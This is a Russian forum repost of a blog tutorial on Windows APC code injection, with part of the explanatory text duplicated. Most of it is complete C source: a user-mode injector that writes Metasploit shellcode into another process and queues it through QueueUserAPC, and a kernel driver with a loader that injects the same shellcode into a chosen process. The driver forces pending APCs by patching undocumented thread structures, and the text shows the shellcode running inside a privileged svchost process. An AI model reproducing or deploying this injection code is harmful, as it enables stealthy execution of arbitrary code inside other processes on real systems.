Вообще делал перепост статьи вот этой:Малварь как искусство - Способы внедрения шелл-кода
Но там ещё прикольная статья 2016 года про запуск шелл-кода, очень интересно...:)
Источник вот:
Кстати отличный блог, много чего для себя там узнал ! :)
Всем привет! Что если вас попросят перечислить методы внедрения кода под Windows? Думаю, вам в первую очередь придёт в голову — метод создания удалённых потоков. И в самом деле, что может быть проще, чем выделить память в другом процессе, скопировать туда код и передать на него управление, создав новый поток с направленной точкой входа на внедрённый код. Либо, можно изменить IP регистр какого-либо потока на внедрённый нами код, используя функцию SetThreadContext. В обоих случаях потоки, будут работать в контексте их родительского процесса.
Но есть ещё одна возможность выполнения кода, в контексте целевого потока! Как это так! Чтобы ещё больше вас заинтересовать, эту технику использует буткит Black Internet Trojan, когда внедряет свой код из неразмеченной части жёсткого диска в поток процесса Winlogon. Круто да? Сегодня мы разберём данную технику внедрения кода как в пользовательском режиме, так и в режиме ядра и напишем пару тулз, чтобы закрепить материал. Но, для начала, давайте всё-таки разберёмся что такое APC
Asynchronous Procedure call
Поля структуры _KAPC
Асинхронный вызов процедур. Наверное, вы сразу подумали, что тут речь пойдёт о прерываниях и исключениях? Ну раз так, то не буду вас разочаровывать и выделю для них немного места в статье. Начнём с того, что в исполнительной системе Windows существуют механизмы, позволяющие «отвлечь» процессор от выполнения какого-либо кода. Это либо прерывания, либо исключения. Обработка прерываний (диспетчеризация) начинается после наступления события, вызвавшего само прерывание. События могут инициироваться либо программно, либо железяками, подключёнными к компу. Исключения в отличии от прерывания, являются более-менее запланированными. Поэтому прерывания — асинхронная штуковина, а исключения — синхронная. Генерироваться они (прерывания и исключения) могут как программно, так и аппаратно.
Кстати говоря, программное прерывание может быть выдано самим ядром. В данный момент, нас будут интересовать именно программные прерывания. APC — одна из задач Windows, которая решается методом генерации программного прерывания. APC всегда выполняются в контексте целевого потока. APC вызовы представляются как объект, рассмотреть который можно, набрав команду «dt _KAPC».
Данные объекты ядра можно выставить в очередь на выполнения конкретному потоку. Когда поток начнёт своё выполнение, то сначала выполнятся все APCхи, стоящие в очереди (если я не прав, поправьте меня). APC вызовы бывают двух типов: режима ядра и режима пользователя. В режиме пользователя поток может и не разрешить выполнение APC вызова. Чтобы APC выполнилась, поток должен находиться в сигнальном состоянии. Например, поток подвис на выполнении SleepEx.
User Mode
Давайте попробуем написать свою программулину в пользовательском режиме, которая будет инжектить shell code в какой-нибудь процесс и вставлять APC в какой-нибудь поток данного процесса.Алгоритм будет следующий:
В данном примере я взял шелкод с метасплойта, который запускает калькулятор и после этого завершает целевой поток. Удачнее было бы взять пример шелкода, который бы не завершал целевой поток, но мне было лень и я взял, какой был под рукой. Поэтому, при выполнении APC вызова, у нас поток доложен завершиться, но калькулятор всё равно должен запуститься. Давайте проверим!
user mode APC inject — результат работы
Да! Это работает!
Kernel Mode
Ну, теперь пришло время разобраться, как можно сделать то же самое, только из режима ядра. Мы напишем две программы: приложение, которое будет передавать нашему драйверу id процесса, в поток которого будет вставляться APCха и сам драйвер, который будет инжектить тот же самый shell код в адресное пространство нужного нам процесса и вставлять APC вызов в очередь контекста выполнения целевого потока.
Если в предыдущем примере у нас APCха вставлялась во все потоки (лучше бы, конечно, проверять состояние потока, и если он находится в сигнальном, то только тогда вставлять объект APC, но мне, в общем вы догадались что), то в этот раз мы принудительно изменим поток в сигнальное состояние. Чтобы это сделать, там нужно изменить с 0 на 1 поле ApcState.UserApcPending в структуре _KTHREAD структуры _ETHREAD, которая описывает объект ядра — поток. Поле ApcState в _ETHREAD в моей версии винды находится по смещению 0x40 байт. Поле UserApcPending находится по смещению 0x16 байт относительно ApcState. Эти структуры недокументированные и смещения в них могут изменяться от версии к версии.
Для примера я захардкодил их, но в реальных программах их нужно научиться получать динамически. Обычно это делается путём поиска каких-либо закономерностей. В вашем случае вы можете получить смещения используя отладчик ядра.
Дамп структур _KAPC_STATE и часть _KTHREAD
Прежде чем вставлять APCху, мы должны её инициализировать, впрочем, как и любой другой объект ядра. Для этого используется функция KeInitializeApc. После этого APCха уже вставляется в очередь, вызовом функции KeInsertQueueApc. Давайте рассмотрим прототипы этих функций.
Поле Environment определяет в какой среде будет выполняться APC. Например, OriginalApcEnvironment говорит о том, что APC будет выполняться в том же контексте, в каком выполняется и целевой поток. APC в режиме ядра бывают двух видов: специальные и нормальные. Специальные выполняются с уровнем приоритета выполнения IRQL APC_LEVEL, а нормальные — с самым низким, PASSIVE_LEVEL. KernelRoutine — как раз та функция, которая будет выполнена в режиме ядра с IRQL равным APC_LEVEL, а NormalRoutine — с PASSIVE_LEVEL. RundownRoutine — функция, которая выполнится, когда поток завершится. NormalContext — параметр, который будет передаваться функции NormalRoutine.
Остальные параметры описывать не буду, так как они очевидны. После того, как мы инициализировали объект APC, мы должны его поставить в очередь, используя KeInsertQueueApc. В неё мы передаём уже инициализированный объект APC, SystemArgument1/2 — необязательные аргументы, поэтому мы их рассматривать не будем. Increment — это приоритет выполнения. Ну хватит теории, давайте кодить! Начнём с приложухи.
Тут ничего сложного нет. Просто есть два объекта, один подгружает драйвер (DriverStarter), а другой управляет им (DriverSender). Если вам интересны исходники этих классов, то пишите в коменты. Я их не публикую, так как статья не об этом. Тут программа ждёт ввода id процесса, который затем отправляет драйверу. А вот и код драйвера:
Тестим!
Kernel mode APC inject в действии
Если немного поиграться, то можно вот что увидеть:
Результат работы APC
На скрине видно, что удалось выполнить APC в контексте потока процесса svchost, который имеет системные привилегии. Но ещё бы! Ведь мы использовали драйвер!
Но там ещё прикольная статья 2016 года про запуск шелл-кода, очень интересно...:)
Источник вот:
Вы должны зарегистрироваться, чтобы увидеть внешние ссылки
Кстати отличный блог, много чего для себя там узнал ! :)
Всем привет! Что если вас попросят перечислить методы внедрения кода под Windows? Думаю, вам в первую очередь придёт в голову — метод создания удалённых потоков. И в самом деле, что может быть проще, чем выделить память в другом процессе, скопировать туда код и передать на него управление, создав новый поток с направленной точкой входа на внедрённый код. Либо, можно изменить IP регистр какого-либо потока на внедрённый нами код, используя функцию SetThreadContext. В обоих случаях потоки, будут работать в контексте их родительского процесса.
Но есть ещё одна возможность выполнения кода, в контексте целевого потока! Как это так! Чтобы ещё больше вас заинтересовать, эту технику использует буткит Black Internet Trojan, когда внедряет свой код из неразмеченной части жёсткого диска в поток процесса Winlogon. Круто да? Сегодня мы разберём данную технику внедрения кода как в пользовательском режиме, так и в режиме ядра и напишем пару тулз, чтобы закрепить материал. Но, для начала, давайте всё-таки разберёмся что такое APC
Asynchronous Procedure call
Поля структуры _KAPC
Асинхронный вызов процедур. Наверное, вы сразу подумали, что тут речь пойдёт о прерываниях и исключениях? Ну раз так, то не буду вас разочаровывать и выделю для них немного места в статье. Начнём с того, что в исполнительной системе Windows существуют механизмы, позволяющие «отвлечь» процессор от выполнения какого-либо кода. Это либо прерывания, либо исключения. Обработка прерываний (диспетчеризация) начинается после наступления события, вызвавшего само прерывание. События могут инициироваться либо программно, либо железяками, подключёнными к компу. Исключения в отличии от прерывания, являются более-менее запланированными. Поэтому прерывания — асинхронная штуковина, а исключения — синхронная. Генерироваться они (прерывания и исключения) могут как программно, так и аппаратно.
Кстати говоря, программное прерывание может быть выдано самим ядром. В данный момент, нас будут интересовать именно программные прерывания. APC — одна из задач Windows, которая решается методом генерации программного прерывания. APC всегда выполняются в контексте целевого потока. APC вызовы представляются как объект, рассмотреть который можно, набрав команду «dt _KAPC».
Данные объекты ядра можно выставить в очередь на выполнения конкретному потоку. Когда поток начнёт своё выполнение, то сначала выполнятся все APCхи, стоящие в очереди (если я не прав, поправьте меня). APC вызовы бывают двух типов: режима ядра и режима пользователя. В режиме пользователя поток может и не разрешить выполнение APC вызова. Чтобы APC выполнилась, поток должен находиться в сигнальном состоянии. Например, поток подвис на выполнении SleepEx.
User Mode
Давайте попробуем написать свою программулину в пользовательском режиме, которая будет инжектить shell code в какой-нибудь процесс и вставлять APC в какой-нибудь поток данного процесса.Алгоритм будет следующий:
- Получаем дескриптор процесса по его идентификатору
- Выделяем в целевом процессе память под shell code с нужными правами
- Перечисляем все потоки процесса
- Вставляем в поток APC объект в очередь выполнения, используя API функцию QueueUserAPC.
Код:
#include <Windows.h>
#include <TlHelp32.h>
#include <stdio.h>
#define STATUS_SUCCESS 0
/*exec calc.exe*/
char shellcode[] =
"\x47\xf9\x93\x9b\x58\x9f\x4a\xf5\x5a\xf5\x16\x48\x4d\x5b"
"\xf8\xfd\x52\x99\x06\x50\xd9\xcc\xbe\x56\x6c\xdf\xb1\xd9"
"\x74\x24\xf4\x5f\x2b\xc9\xb1\x31\x31\x77\x18\x83\xef\xfc"
"\x03\x77\x42\x8e\x2a\x4d\x82\xcc\xd5\xae\x52\xb1\x5c\x4b"
"\x63\xf1\x3b\x1f\xd3\xc1\x48\x4d\xdf\xaa\x1d\x66\x54\xde"
"\x89\x89\xdd\x55\xec\xa4\xde\xc6\xcc\xa7\x5c\x15\x01\x08"
"\x5d\xd6\x54\x49\x9a\x0b\x94\x1b\x73\x47\x0b\x8c\xf0\x1d"
"\x90\x27\x4a\xb3\x90\xd4\x1a\xb2\xb1\x4a\x11\xed\x11\x6c"
"\xf6\x85\x1b\x76\x1b\xa3\xd2\x0d\xef\x5f\xe5\xc7\x3e\x9f"
"\x4a\x26\x8f\x52\x92\x6e\x37\x8d\xe1\x86\x44\x30\xf2\x5c"
"\x37\xee\x77\x47\x9f\x65\x2f\xa3\x1e\xa9\xb6\x20\x2c\x06"
"\xbc\x6f\x30\x99\x11\x04\x4c\x12\x94\xcb\xc5\x60\xb3\xcf"
"\x8e\x33\xda\x56\x6a\x95\xe3\x89\xd5\x4a\x46\xc1\xfb\x9f"
"\xfb\x88\x91\x5e\x89\xb6\xd7\x61\x91\xb8\x47\x0a\xa0\x33"
"\x08\x4d\x3d\x96\x6d\xb1\xdf\x33\x9b\x5a\x46\xd6\x26\x07"
"\x79\x0c\x64\x3e\xfa\xa5\x14\xc5\xe2\xcf\x11\x81\xa4\x3c"
"\x6b\x9a\x40\x43\xd8\x9b\x40\x20\xbf\x0f\x08\x89\x5a\xa8"
"\xab\xd5";
BOOL InsertAPC(DWORD pid, PVOID shellcode)
{
DWORD result = 0;
HANDLE hProcess = OpenProcess(PROCESS_ALL_ACCESS, FALSE, pid);
if (hProcess != INVALID_HANDLE_VALUE)
{
HANDLE hThreadSnap = CreateToolhelp32Snapshot(TH32CS_SNAPTHREAD, 0);
if (hThreadSnap != INVALID_HANDLE_VALUE)
{
THREADENTRY32 threadEntry;
threadEntry.dwSize = sizeof(THREADENTRY32);
if (Thread32First(hThreadSnap, &threadEntry))
{
DWORD threadId;
HANDLE hThread;
PAPCFUNC pfnAPC;
do {
if (threadEntry.th32OwnerProcessID == pid)
{
threadId = threadEntry.th32ThreadID;
hThread = OpenThread(THREAD_ALL_ACCESS, FALSE, threadId);
if (hThread != INVALID_HANDLE_VALUE)
{
pfnAPC = (PAPCFUNC)shellcode;
result = QueueUserAPC(pfnAPC, hThread, (ULONG_PTR)NULL);
CloseHandle(hThread);
//if (result)
//break;
}
}
} while (Thread32Next(hThreadSnap, &threadEntry));
}
}
CloseHandle(hThreadSnap);
CloseHandle(hProcess);
}
return result;
}
DWORD GetProcessPid(LPWSTR processName)
{
DWORD pid = 0;
HANDLE hProcessSnap = CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS, 0);
if (hProcessSnap != INVALID_HANDLE_VALUE)
{
PROCESSENTRY32 processEntry;
processEntry.dwSize = sizeof(PROCESSENTRY32);
if (Process32First(hProcessSnap, &processEntry))
do
{
if (!wcscmp(processEntry.szExeFile, processName))
{
pid = processEntry.th32ProcessID;
break;
}
} while (Process32Next(hProcessSnap, &processEntry));
CloseHandle(hProcessSnap);
return pid;
}
}
LPVOID injectShellcode(DWORD pid, LPVOID shellCode, DWORD size)
{
LPVOID result = NULL;
HANDLE hProcess = OpenProcess(PROCESS_ALL_ACCESS, FALSE, pid);
if (hProcess != INVALID_HANDLE_VALUE)
{
LPVOID memory = VirtualAllocEx(hProcess, NULL, size, MEM_COMMIT, PAGE_EXECUTE_READWRITE);
if (memory)
if (WriteProcessMemory(hProcess, memory, shellCode, size, NULL))
result = memory;
CloseHandle(hProcess);
}
return result;
}
LPWSTR processName = L"Scylla_x86.exe";
extern "C" int main()
{
DWORD pid = GetProcessPid(processName);
if (pid)
{
LPVOID buf = injectShellcode(pid, shellcode, strlen(shellcode));
if (buf)
{
if (InsertAPC(pid, buf))
printf("+ %S pid: %d\n", processName, pid);
else
printf("- %S pid: %d\n", processName, pid);
}
}
system("pause");
return 0;
}
user mode APC inject — результат работы
Да! Это работает!
Kernel Mode
Ну, теперь пришло время разобраться, как можно сделать то же самое, только из режима ядра. Мы напишем две программы: приложение, которое будет передавать нашему драйверу id процесса, в поток которого будет вставляться APCха и сам драйвер, который будет инжектить тот же самый shell код в адресное пространство нужного нам процесса и вставлять APC вызов в очередь контекста выполнения целевого потока.
Если в предыдущем примере у нас APCха вставлялась во все потоки (лучше бы, конечно, проверять состояние потока, и если он находится в сигнальном, то только тогда вставлять объект APC, но мне, в общем вы догадались что), то в этот раз мы принудительно изменим поток в сигнальное состояние. Чтобы это сделать, там нужно изменить с 0 на 1 поле ApcState.UserApcPending в структуре _KTHREAD структуры _ETHREAD, которая описывает объект ядра — поток. Поле ApcState в _ETHREAD в моей версии винды находится по смещению 0x40 байт. Поле UserApcPending находится по смещению 0x16 байт относительно ApcState. Эти структуры недокументированные и смещения в них могут изменяться от версии к версии.
Для примера я захардкодил их, но в реальных программах их нужно научиться получать динамически. Обычно это делается путём поиска каких-либо закономерностей. В вашем случае вы можете получить смещения используя отладчик ядра.
Дамп структур _KAPC_STATE и часть _KTHREAD
Прежде чем вставлять APCху, мы должны её инициализировать, впрочем, как и любой другой объект ядра. Для этого используется функция KeInitializeApc. После этого APCха уже вставляется в очередь, вызовом функции KeInsertQueueApc. Давайте рассмотрим прототипы этих функций.
Код:
NTKERNELAPI VOID KeInitializeApc(
PKAPC Apc,
PKTHREAD Thread,
KAPC_ENVIRONMENT Environment,
PKKERNEL_ROUTINE KernelRoutine,
PKRUNDOWN_ROUTINE RundownRoutine,
PKNORMAL_ROUTINE NormalRoutine,
KPROCESSOR_MODE ProcessorMode,
PVOID NormalContext
);
NTKERNELAPI BOOLEAN KeInsertQueueApc(
PRKAPC Apc,
PVOID SystemArgument1,
PVOID SystemArgument2,
KPRIORITY Increment
);
typedef VOID (*PKKERNEL_ROUTINE)(
PKAPC Apc,
PKNORMAL_ROUTINE *NormalRoutine,
PVOID *NormalContext,
PVOID *SystemArgument1,
PVOID *SystemArgument2
);
typedef VOID (*PKRUNDOWN_ROUTINE)(
PKAPC Apc
);
typedef VOID (*PKNORMAL_ROUTINE)(
PVOID NormalContext,
PVOID SystemArgument1,
PVOID SystemArgument2
);
typedef enum _KAPC_ENVIRONMENT {
OriginalApcEnvironment,
AttachedApcEnvironment,
CurrentApcEnvironment,
InsertApcEnvironment
} KAPC_ENVIRONMENT, *PKAPC_ENVIRONMENT;
Остальные параметры описывать не буду, так как они очевидны. После того, как мы инициализировали объект APC, мы должны его поставить в очередь, используя KeInsertQueueApc. В неё мы передаём уже инициализированный объект APC, SystemArgument1/2 — необязательные аргументы, поэтому мы их рассматривать не будем. Increment — это приоритет выполнения. Ну хватит теории, давайте кодить! Начнём с приложухи.
Код:
#include <iostream>
#include <Windows.h>
#include "..\..\DriverStarter\DeiverStarter\DriverStarter.h"
using namespace std;
//возвращает полную текущую диру
char *getFullCurrentDir()
{
char *path = (char *)calloc(MAX_PATH, sizeof(char));
HMODULE module = GetModuleHandleA(NULL);
GetModuleFileNameA(module, path, MAX_PATH);
for (int i = strlen(path); i > 1; i--)
if (path[i] == '\\') {
path[i + 1] = '\0';
break;
}
return path;
}
int main()
{
DWORD pid;
char *file = "InjectAPC.sys";
char *deviceName = "InjectAPC";
char *serciceName = "InjectAPCservice";
char *displayName = "InjectAPCservice";
char *fullPath = getFullCurrentDir();
strcat(fullPath, file);
DriverStarter driver(fullPath, serciceName, displayName);
DriverSender sender(deviceName);
cout <;<; driver.getDriverPath() <;<; endl;
driver.LoadDriver();
do
{
cout <;<; "Pid to inject: "; cin >> pid;
sender.Write(&pid, sizeof(DWORD));
} while (pid);
sender.~DriverSender();
driver.UnloadDriver();
driver.~DriverStarter();
system("pause");
free(fullPath);
return 0;
}
Код:
#include <ntifs.h>
#include <string.h>
#include <Ntstrsafe.h>
#pragma comment(lib,"ntoskrnl.lib")
#pragma comment(lib,"Ntstrsafe.lib")
#define deviceName L"\\Device\\injectAPC"
#define symbolicName L"\\DosDevices\\injectAPC"
#ifndef SystemProcessAndThreadInformation
#define SystemProcessAndThreadInformation 5
#endif
#ifndef INVALID_HANDLE_VALUE
#define INVALID_HANDLE_VALUE 0xFFFFFFFF
#endif
/*exec calc.exe*/
char shellcode[] =
"\x47\xf9\x93\x9b\x58\x9f\x4a\xf5\x5a\xf5\x16\x48\x4d\x5b"
"\xf8\xfd\x52\x99\x06\x50\xd9\xcc\xbe\x56\x6c\xdf\xb1\xd9"
"\x74\x24\xf4\x5f\x2b\xc9\xb1\x31\x31\x77\x18\x83\xef\xfc"
"\x03\x77\x42\x8e\x2a\x4d\x82\xcc\xd5\xae\x52\xb1\x5c\x4b"
"\x63\xf1\x3b\x1f\xd3\xc1\x48\x4d\xdf\xaa\x1d\x66\x54\xde"
"\x89\x89\xdd\x55\xec\xa4\xde\xc6\xcc\xa7\x5c\x15\x01\x08"
"\x5d\xd6\x54\x49\x9a\x0b\x94\x1b\x73\x47\x0b\x8c\xf0\x1d"
"\x90\x27\x4a\xb3\x90\xd4\x1a\xb2\xb1\x4a\x11\xed\x11\x6c"
"\xf6\x85\x1b\x76\x1b\xa3\xd2\x0d\xef\x5f\xe5\xc7\x3e\x9f"
"\x4a\x26\x8f\x52\x92\x6e\x37\x8d\xe1\x86\x44\x30\xf2\x5c"
"\x37\xee\x77\x47\x9f\x65\x2f\xa3\x1e\xa9\xb6\x20\x2c\x06"
"\xbc\x6f\x30\x99\x11\x04\x4c\x12\x94\xcb\xc5\x60\xb3\xcf"
"\x8e\x33\xda\x56\x6a\x95\xe3\x89\xd5\x4a\x46\xc1\xfb\x9f"
"\xfb\x88\x91\x5e\x89\xb6\xd7\x61\x91\xb8\x47\x0a\xa0\x33"
"\x08\x4d\x3d\x96\x6d\xb1\xdf\x33\x9b\x5a\x46\xd6\x26\x07"
"\x79\x0c\x64\x3e\xfa\xa5\x14\xc5\xe2\xcf\x11\x81\xa4\x3c"
"\x6b\x9a\x40\x43\xd8\x9b\x40\x20\xbf\x0f\x08\x89\x5a\xa8"
"\xab\xd5";
typedef enum _KAPC_ENVIRONMENT
{
OriginalApcEnvironment,
AttachedApcEnvironment,
CurrentApcEnvironment,
InsertApcEnvironment
}KAPC_ENVIRONMENT,*PKAPC_ENVIRONMENT;
typedef struct _SYSTEM_THREAD_INFORMATION
{
LARGE_INTEGER KernelTime;
LARGE_INTEGER UserTime;
LARGE_INTEGER CreateTime;
ULONG WaitTime;
PVOID StartAddress;
CLIENT_ID ClientId;
KPRIORITY Priority;
LONG BasePriority;
ULONG ContextSwitches;
ULONG ThreadState;
KWAIT_REASON WaitReason;
}SYSTEM_THREAD_INFORMATION,*PSYSTEM_THREAD_INFORMATION;
NTSTATUS ZwQuerySystemInformation(ULONG InfoClass,PVOID Buffer,ULONG Length,PULONG ReturnLength);
LPSTR PsGetProcessImageFileName(PEPROCESS Process);
void KeInitializeApc(
PRKAPC Apc,
PRKTHREAD Thread,
KAPC_ENVIRONMENT Environment,
PKKERNEL_ROUTINE KernelRoutine,
PKRUNDOWN_ROUTINE RundownRoutine,
PKNORMAL_ROUTINE NormalRoutine,
KPROCESSOR_MODE ProcessorMode,
PVOID NormalContext
);
BOOLEAN KeInsertQueueApc(
PRKAPC Apc,
PVOID SystemArgument1,
PVOID SystemArgument2,
KPRIORITY Increment
);
typedef void *LPVOID;
typedef unsigned long int DWORD;
typedef struct _SYSTEM_PROCESS_INFORMATION
{
ULONG NextEntryOffset;
ULONG NumberOfThreads;
LARGE_INTEGER WorkingSetPrivateSize;
ULONG HardFaultCount;
ULONG NumberOfThreadsHighWatermark;
ULONGLONG CycleTime;
LARGE_INTEGER CreateTime;
LARGE_INTEGER UserTime;
LARGE_INTEGER KernelTime;
UNICODE_STRING ImageName;
KPRIORITY BasePriority;
HANDLE UniqueProcessId;
HANDLE InheritedFromUniqueProcessId;
ULONG HandleCount;
ULONG SessionId;
ULONG_PTR UniqueProcessKey;
SIZE_T PeakVirtualSize;
SIZE_T VirtualSize;
ULONG PageFaultCount;
SIZE_T PeakWorkingSetSize;
SIZE_T WorkingSetSize;
SIZE_T QuotaPeakPagedPoolUsage;
SIZE_T QuotaPagedPoolUsage;
SIZE_T QuotaPeakNonPagedPoolUsage;
SIZE_T QuotaNonPagedPoolUsage;
SIZE_T PagefileUsage;
SIZE_T PeakPagefileUsage;
SIZE_T PrivatePageCount;
LARGE_INTEGER ReadOperationCount;
LARGE_INTEGER WriteOperationCount;
LARGE_INTEGER OtherOperationCount;
LARGE_INTEGER ReadTransferCount;
LARGE_INTEGER WriteTransferCount;
LARGE_INTEGER OtherTransferCount;
SYSTEM_THREAD_INFORMATION Threads[1];
}SYSTEM_PROCESS_INFORMATION, *PSYSTEM_PROCESS_INFORMATION;
/*************************************ENTRY/UNLOAD****************************************/
NTSTATUS DriverEntry(IN PDRIVER_OBJECT pDeviceObject, IN PUNICODE_STRING RegistryPath);
void UnloadRoutine(IN PDRIVER_OBJECT pDeviceObject);
/*****************************************************************************************/
/**************************************CTL DISPATCHER*************************************/
NTSTATUS CtlDriverDispatch(IN PDEVICE_OBJECT pDeviceObject, IN PIRP Irp);
NTSTATUS CtlDriverDispatchWrite(IN PDEVICE_OBJECT pDeviceObject, IN PIRP);
NTSTATUS CtlDriverDispatchRead(IN PDEVICE_OBJECT pDeviceObject, IN PIRP);
NTSTATUS CtlCreate(IN PDEVICE_OBJECT pDeviceObject, IN PIRP);
NTSTATUS CtlClose(IN PDEVICE_OBJECT pDeviceObject, IN PIRP);
/**********************************************************************************/
/*************************GLOBAL VAR**************************/
UNICODE_STRING SymbolicLinkName;
PDEVICE_OBJECT deviceObject;
void APCKernelRoutine(
IN PKAPC pKAPC,
IN PKNORMAL_ROUTINE pUserAPC,
IN PVOID pContext,
IN PVOID pSysArg1,
IN PVOID pSysArg2
)
{
DbgPrint("APC Kernel Routine Entered\n");
ExFreePool(pKAPC);
return;
}
DWORD InsertApc(PEPROCESS eProcess, LPVOID shellcode_, DWORD shellcodeSize)
{
PSYSTEM_PROCESS_INFORMATION processInfo;
LPVOID processInformaionBuffer;
PKAPC_STATE ApcState;
PKAPC apc;
DWORD size = 0;
PETHREAD eThread = NULL;
LPVOID memory = NULL;
NTSTATUS status = INVALID_HANDLE_VALUE;
DWORD ApcStateOffset = 0x40;
DWORD pid = (DWORD)PsGetProcessId(eProcess);
if (pid)
{
status = ZwQuerySystemInformation(SystemProcessAndThreadInformation, NULL, 0, &size);
if (status == STATUS_INFO_LENGTH_MISMATCH)
{
processInformaionBuffer = ExAllocatePool(NonPagedPool, size);
status = ZwQuerySystemInformation(SystemProcessAndThreadInformation, processInformaionBuffer, size, NULL);
if (processInformaionBuffer && NT_SUCCESS(status))
{
processInfo = (PSYSTEM_PROCESS_INFORMATION)processInformaionBuffer;
while (processInfo->NextEntryOffset)
{
if ((DWORD)processInfo->UniqueProcessId == pid)
{
DbgPrint("Process name: %s\n", PsGetProcessImageFileName(eProcess));
status = PsLookupThreadByThreadId(processInfo->Threads[0].ClientId.UniqueThread, &eThread);
if (NT_SUCCESS(status))
{
DbgPrint("Thread has been found!: 0x%08x, id: %d", eThread, PsGetThreadId(eThread));
KeAttachProcess(eProcess);
status = ZwAllocateVirtualMemory(NtCurrentProcess(), &memory, 0, &size, MEM_COMMIT, PAGE_EXECUTE_READWRITE);
if (NT_SUCCESS(status))
{
// Set KAPC_STATE.UserApcPending on.
//+0x040 ApcState : _KAPC_STATE in _KTHREAD
// +0x016 UserApcPending : UChar in _KAPC_STATE
*((unsigned char *)eThread + 0x40+0x16) = 1;
DbgPrint("Allocated memory for shellcode!: 0x%08x", memory);
memcpy(memory, shellcode_, shellcodeSize);
apc = (PKAPC)ExAllocatePool(NonPagedPool, sizeof(KAPC));
if (apc)
{
RtlZeroMemory(apc, sizeof(KAPC));
KeInitializeApc(apc,
eThread,
OriginalApcEnvironment,
(PKKERNEL_ROUTINE)APCKernelRoutine,
NULL,
(PKNORMAL_ROUTINE)memory, //shell code
UserMode,
&size);
status = KeInsertQueueApc(apc, NULL, NULL, 0);
//ObDereferenceObject(eThread);
//ObDereferenceObject(eProcess);
DbgPrint("It Done!\n");
}
}
ZwFreeVirtualMemory(NtCurrentProcess(), memory, &size, MEM_RELEASE);
KeDetachProcess();
}
}
processInfo = (PSYSTEM_PROCESS_INFORMATION) ((PUCHAR)processInfo + processInfo->NextEntryOffset);
}
}
ExFreePool(processInformaionBuffer);
}
}
return status;
}
NTSTATUS DriverEntry(IN PDRIVER_OBJECT pDeviceObject, IN PUNICODE_STRING RegistryPath)
{
NTSTATUS status;
UNICODE_STRING DeviceName;
PDRIVER_DISPATCH *pDispacher;
DWORD pid = 0;
PEPROCESS process = NULL;
RtlInitUnicodeString(&DeviceName, deviceName);
RtlInitUnicodeString(&SymbolicLinkName, symbolicName);
status = IoCreateDevice(pDeviceObject,0,&DeviceName,FILE_DEVICE_NULL,0,FALSE,&deviceObject);
if (status == STATUS_SUCCESS)
{
status = IoCreateSymbolicLink(&SymbolicLinkName, &DeviceName);
pDispacher = pDeviceObject->MajorFunction;
pDeviceObject->DriverUnload = UnloadRoutine;
pDispacher[IRP_MJ_DEVICE_CONTROL] = CtlDriverDispatch;
pDispacher[IRP_MJ_WRITE] = CtlDriverDispatchWrite;
pDispacher[IRP_MJ_READ] = CtlDriverDispatchRead;
pDispacher[IRP_MJ_CREATE] = CtlCreate;
pDispacher[IRP_MJ_CLOSE] = CtlClose;
DbgPrint("driver loaded!\n");
return status;
}
DbgPrint("driver not loaded!");
return status;
}
void UnloadRoutine(IN PDRIVER_OBJECT pDeviceObject)
{
NTSTATUS status;
status = IoDeleteSymbolicLink(&SymbolicLinkName);
if (status == STATUS_SUCCESS) {
IoDeleteDevice(deviceObject);
DbgPrint("driver has been unloaded!\n");
return;
}
DbgPrint("driver has`t been unloaded!");
}
NTSTATUS CtlDriverDispatch(IN PDEVICE_OBJECT pDeviceObject,IN PIRP Irp)
{
Irp->IoStatus.Information = 0;
Irp->IoStatus.Status = STATUS_SUCCESS;
IoCompleteRequest(Irp, IO_NO_INCREMENT);
return STATUS_SUCCESS;
}
NTSTATUS CtlDriverDispatchWrite(IN PDEVICE_OBJECT pDeviceObject,IN PIRP Irp)
{
PIO_STACK_LOCATION pIrpStack;
DWORD pid;
PEPROCESS process;
pIrpStack=IoGetCurrentIrpStackLocation(Irp);
Irp->IoStatus.Information = 0;
DbgPrint("Write!\n");
if (pIrpStack->MajorFunction == IRP_MJ_WRITE)
{
__try
{
ULONG Length = pIrpStack->Parameters.Write.Length;
memcpy(&pid, Irp->UserBuffer, sizeof(DWORD));
DbgPrint("pid:%d \n", pid);
if (PsLookupProcessByProcessId((HANDLE)pid, &process) == STATUS_SUCCESS)
{
DbgPrint("process: %s, pid: %d, _EPROCESS: 0x%08x\n", PsGetProcessImageFileName(process), pid, process);
if (process)
InsertApc(process, shellcode, sizeof(shellcode));
}
}
__except(EXCEPTION_EXECUTE_HANDLER)
{
DbgPrint("Error CtlDriverDispatchWrite");
}
}
Irp->IoStatus.Status = STATUS_SUCCESS;
IoCompleteRequest(Irp, IO_NO_INCREMENT);
return STATUS_SUCCESS;
}
NTSTATUS CtlDriverDispatchRead(IN PDEVICE_OBJECT pDeviceObject,IN PIRP Irp)
{
Irp->IoStatus.Information = 0;
Irp->IoStatus.Status = STATUS_SUCCESS;
IoCompleteRequest(Irp,IO_NO_INCREMENT);
return STATUS_SUCCESS;
}
NTSTATUS CtlCreate(IN PDEVICE_OBJECT pDeviceObject,IN PIRP Irp)
{
Irp->IoStatus.Status=STATUS_SUCCESS;
Irp->IoStatus.Information = 0;
IoCompleteRequest(Irp, IO_NO_INCREMENT);
return STATUS_SUCCESS;
}
NTSTATUS CtlClose(IN PDEVICE_OBJECT pDeviceObject,IN PIRP Irp)
{
Irp->IoStatus.Status = STATUS_SUCCESS;
Irp->IoStatus.Information = 0;
IoCompleteRequest(Irp,IO_NO_INCREMENT);
return STATUS_SUCCESS;
}
Тестим!
Kernel mode APC inject в действии
Если немного поиграться, то можно вот что увидеть:
Результат работы APC
На скрине видно, что удалось выполнить APC в контексте потока процесса svchost, который имеет системные привилегии. Но ещё бы! Ведь мы использовали драйвер!